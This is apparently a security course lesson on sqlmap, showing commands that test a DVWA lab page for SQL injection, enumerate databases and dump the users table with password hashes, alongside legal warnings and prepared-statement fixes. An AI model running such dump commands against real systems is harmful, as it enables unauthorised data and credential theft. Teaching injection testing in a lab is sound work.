Ravindra BagaleCourses & study guides मराठी Track your progress

21. Web Application Testing Tools

21.6 sqlmap: Testing for SQL Injection

By Last updated:

sqlmap automates finding and exploiting SQL injection – one of the most dangerous web bugs (CWE-89). You feed it a request; it tests the parameters and, if one is injectable, can list databases, tables and rows. Lab only.

# a GET parameter
sqlmap -u "http://192.168.56.20/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low"
# let it enumerate
sqlmap -u "...id=1..." --cookie="..." --dbs            # list databases
sqlmap -u "...id=1..." --cookie="..." -D dvwa --tables # tables in a database
sqlmap -u "...id=1..." --cookie="..." -D dvwa -T users --dump   # dump a table
# easiest: save the request from Burp to a file, then:
sqlmap -r request.txt --batch --dbs

The cookie is needed because DVWA requires you to be logged in – you copy it from Burp. --batch accepts the default answers.

sqlmap is a real attack tool

--dump reads real data out of the database. That is exactly why it is illegal against any site you do not own. Confirm you are pointed at 192.168.56.20 before every run.

Ravindra Bagale's Tip

sqlmap is easy, so students don't bother to understand SQL injection. In interviews they don't ask "how do you run sqlmap"; they ask "what is SQL injection and how do you stop it". Concept first, tool later – you will learn that in Chapter 27 (prepared statements).

Lab

In DVWA at "SQL Injection" (security = low), copy the request from Burp into request.txt, run sqlmap -r request.txt --batch --dbs, then dump the users table. Note the password hashes. Then set DVWA security to "high" and run sqlmap again to see it fail – that is what a fixed app looks like.

From sqlmap proof to the permanent fix

sqlmap can demonstrate SQL injection on DVWA. The lasting skill is never allowing injection in your own code.

Safe query patterns (same as Chapter 12)

PHP / Laravel

PDO prepared statements or Eloquent.

Java / Spring

PreparedStatement or JPA parameters.

Python / Django

ORM filters, never string-built SQL.

Node.js

Bound parameters in mysql2 / pg.

.NET

EF Core LINQ or parameterised SQL.

Go

database/sql placeholders.

Real examples

Global: SQLi has stayed in the OWASP Top 10 for years because old code still concatenates strings. Indian company (sample): a government web form patched after an authorised audit replaced one vulnerable page with PDO and added a SAST rule so it cannot return.

Common mistakes

  • Running sqlmap against public sites. Illegal and harmful.
  • "Fixing" SQLi with a denylist of words like SELECT. Attackers bypass those. Use parameters.

Recap

  • Demonstrate on DVWA. Fix with prepared statements everywhere.

Defender's worksheet (do this today)

  1. Write the lesson title and date in your notebook.
  2. List three systems you own (VMs, personal projects, or lab apps) where this lesson applies.
  3. Run one safe command or checklist item from the lesson on a lab system only.
  4. Paste the command and its output under an Evidence heading.
  5. Write one fix you would give a teammate in two sentences.
  6. Write one mistake students make with this topic and how to avoid it.

More real-world pictures

Indian workplace (sample data)

Suppose we are a junior analyst at Tech Mahindra supporting a client SOC. After reading this lesson you add one detection or one hardening item to the team weekly checklist, with the owner name and a due date. That is how learning becomes operations.

Global practice

Public bodies such as CERT-In (India), CISA (US) and NCSC (UK) publish advisories that map to the same ideas: patch, least privilege, logging and user awareness. Bookmark one advisory feed and read it every Monday.

Home and family

Explain this lesson to a family member in four sentences without jargon. If they can repeat the main warning back to you, you understand it well enough to teach.

Connect to earlier chapters

Parts 1 to 9 built Linux, web servers, databases and cloud pieces. This lesson only makes sense when you can point to a concrete config file, package name or architecture box from those parts. If you cannot, revisit the matching earlier chapter before you practise any tool command.

Common mistakes

  • Skipping written permission just for a quick scan.
  • Practising on hostel or office Wi-Fi targets without authorisation.
  • Collecting tool output without writing the fix.
  • Copying exploit commands onto production to verify. Verification for defenders means checking versions and patches, not firing modules.

Recap

  • Evidence, fix, owner, date.
  • Own lab only.
  • Teach one other person the warning from this lesson.